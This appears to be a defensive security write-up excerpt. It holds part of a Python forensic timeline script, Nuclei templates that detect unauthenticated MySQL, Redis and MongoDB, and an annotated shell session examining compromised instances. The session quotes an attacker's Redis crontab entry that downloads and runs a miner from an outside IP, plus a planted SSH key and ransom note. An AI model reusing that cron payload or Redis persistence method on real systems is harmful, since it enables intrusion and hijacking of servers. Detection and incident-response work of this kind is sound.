    print("=" * 100)
    print(f"{'TIMESTAMP':<25} {'SOURCE':<10} {'SEVERITY':<10} {'EVENT'}")
    print("=" * 100)
    for e in events:
        sev_marker = "🔴" if e['severity'] == 'HIGH' else "🟡"
        print(f"{e.get('timestamp', 'N/A'):<25} {e['source']:<10} {sev_marker} {e['event']}")
    print("=" * 100)
    print(f"[*] Total events: {len(events)}")
    high_events = [e for e in events if e['severity'] == 'HIGH']
    print(f"[*] HIGH severity events: {len(high_events)}")

if __name__ == '__main__':
    all_events = []
    if len(sys.argv) > 1:
        for arg in sys.argv[1:]:
            if 'binlog' in arg:
                all_events.extend(parse_mysql_binlog(arg))
            elif 'wal' in arg.lower() or 'pg_wal' in arg:
                all_events.extend(parse_pg_waldump(arg))
    else:
        print(f"Usage: {sys.argv[0]} <binlog_file|wal_dir> [...]")
        sys.exit(1)
    generate_timeline(all_events)

id: mysql-unauthorized-access
info:
  name: MySQL Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects MySQL instances accessible without authentication
  tags: mysql,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "Access denied for user"
          - "mysql_native_password"
          - "caching_sha2_password"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - "MySQL ([\\d.]+)"

id: redis-unauthorized-access
info:
  name: Redis Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects Redis instances accessible without authentication
  tags: redis,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

network:
  - inputs:
      - data: "INFO server\r\n"
        host: "{{Hostname}}"
        port: 6379

    matchers:
      - type: word
        words:
          - "redis_version"
          - "redis_mode"
        condition: or

    extractors:
      - type: regex
        regex:
          - "redis_version:([\\d.]+)"

id: mongodb-unauthorized-access
info:
  name: MongoDB Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects MongoDB instances accessible without authentication
  tags: mongodb,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

http:
  - raw:
      - |
        GET /serverStatus HTTP/1.1
        Host: {{Hostname}}:27017

    matchers:
      - type: word
        part: body
        words:
          - "dbHost"
          - "ok"
          - "version"
        condition: and

    extractors:
      - type: regex
        regex:
          - "\"version\"\\s*:\\s*\"([\\d.]+)\""

# 典型的 MongoDB 未授权访问检测
$ mongosh --host 192.168.1.100 --port 27017
> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
users_db 2.300GB    ← 可见的业务数据库

# 检查是否被篡改
> db.system.js.find()
{ "_id" : "note", "value" : "SEND 0.2 BTC TO 1A2B3C..." }  ← 勒索留言

# 检查 Redis 配置
$ redis-cli -h 192.168.1.100
> CONFIG GET requirepass
1) "requirepass"
2) ""                    ← 空密码

> CONFIG GET dir
1) "dir"
2) "/var/spool/cron"     ← 可写 crontab 目录

> KEYS *
 1) "crontab"
 2) "x"
 3) "backup"
 4) "sshkey"
 5) "debug"

# 检查 crontab 键值
> GET crontab
"\n\n* * * * * curl -o /tmp/miner http://185.x.x.x/miner && chmod +x /tmp/miner && /tmp/miner\n\n"

# 检查 SSH 公钥
> GET sshkey
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...attacker_key..."